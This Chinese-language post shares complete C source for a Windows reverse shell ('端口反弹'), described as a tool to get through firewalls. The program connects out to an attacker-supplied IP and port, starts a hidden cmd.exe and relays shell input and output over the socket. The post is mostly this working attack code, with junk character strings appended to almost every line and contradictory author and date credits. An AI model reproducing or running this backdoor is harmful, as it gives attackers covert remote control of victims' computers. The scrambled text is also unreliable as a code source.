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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M\<!m^~  
J`8>QMK^5  
/* ============================== 6d.m@T6~  
Rebound port in Windows NT RSi0IfG5  
By wind,2006/7 SKtEEFyIR_  
===============================*/ 7L\GI`y  
#include y$&a(S]  
#include 6X jUb  
-'0AV,{Z  
#pragma comment(lib,"wsock32.lib") Mu( Y6  
{xykf7zp  
void OutputShell(); z84W{! P  
SOCKET sClient; ft*0?2N~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N Hh  
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void main(int argc,char **argv) (G"qIw   
{ * c%@f<R~  
WSADATA stWsaData; ^&<*$Ai~  
int nRet; s7 KKH w  
SOCKADDR_IN stSaiClient,stSaiServer; c%U$qao=c+  
,C&>mv xA  
if(argc != 3) N1Z8I:  
{ \}Wkj~IX  
printf("Useage:\n\rRebound DestIP DestPort\n"); '|/_='  
return; X or ,}. w  
} 4l1=l#\S  
u}rot+)%  
WSAStartup(MAKEWORD(2,2),&stWsaData); =%u|8Ea*`  
NY;UI (<]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q7]WR(e  
?% X9XH/!  
stSaiClient.sin_family = AF_INET; `%XgGHiE  
stSaiClient.sin_port = htons(0); MU e 'xK  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xh6x B|Z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?.A|Fy^  
{ |)4$\<d  
printf("Bind Socket Failed!\n"); w@ 5/mf?  
return; Hb+#*42v  
} 8 (KfX%  
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stSaiServer.sin_family = AF_INET; C~;0A!@]Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t? A4xk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y;Zfz~z  
yki k4MeB  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^sOm7S{  
{ Fp6Y Y  
printf("Connect Error!"); \O8f~zA{G  
return; m c+wRx  
} g Oj5c  
OutputShell(); bGi_", 8  
} qQcC[50  
bZ9NnSuH  
void OutputShell() }J?fJ (  
{ I:_*8el&d  
char szBuff[1024]; {^kG<v.vV  
SECURITY_ATTRIBUTES stSecurityAttributes; \l:g{GnoT  
OSVERSIONINFO stOsversionInfo; |Hm'.-   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A]+h<Y~}  
STARTUPINFO stStartupInfo; ],YYFU}  
char *szShell; u#M)i30j  
PROCESS_INFORMATION stProcessInformation; /kA19E4  
unsigned long lBytesRead; H/3Zdj 9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xe SbA  
y9L#@   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ye|a#a9N  
stSecurityAttributes.lpSecurityDescriptor = 0; oyt//SE  
stSecurityAttributes.bInheritHandle = TRUE; {~^)-^Wt:  
T"H )g  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1 (i>Vt.+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6{$dFwl  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U+"=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8-"5|pNc  
stStartupInfo.wShowWindow = SW_HIDE; cQ.;dtT0  
stStartupInfo.hStdInput = hReadPipe; hu|hOr8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YU=ZZEVi  
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GetVersionEx(&stOsversionInfo); Kyp0SZp[  
6lWFxbh  
switch(stOsversionInfo.dwPlatformId) NoO+xLHw8  
{ 1mJ_I|98  
case 1: V*zz- 2 _i  
szShell = "command.com"; H 1D;:n  
break; ' f$L  
default: 7F(F.ut  
szShell = "cmd.exe"; -?nT mzRc  
break; T4=3VrS  
} n]DNxC@b  
0['"m^l0S  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U('<iw,Yy  
eAsX?iaH  
send(sClient,szMsg,77,0); R-Q1YHUQM  
while(1) )SX6)__  
{ 6rQpK&Jx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v$m[#&O^V?  
if(lBytesRead) &@HNz6KO  
{ ix9HSa{d  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <i'u96  
send(sClient,szBuff,lBytesRead,0); mp,e9Nd;  
} N+M&d3H`  
else n<:d%&^n  
{ ;(Xe@OtW  
lBytesRead=recv(sClient,szBuff,1024,0); "'!%};  
if(lBytesRead<=0) break; >I& jurU#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e$EF% cKH  
} @y(Wy}  
} Nr24[e G>d  
W/r mm*  
return; {?/8jCVd  
}
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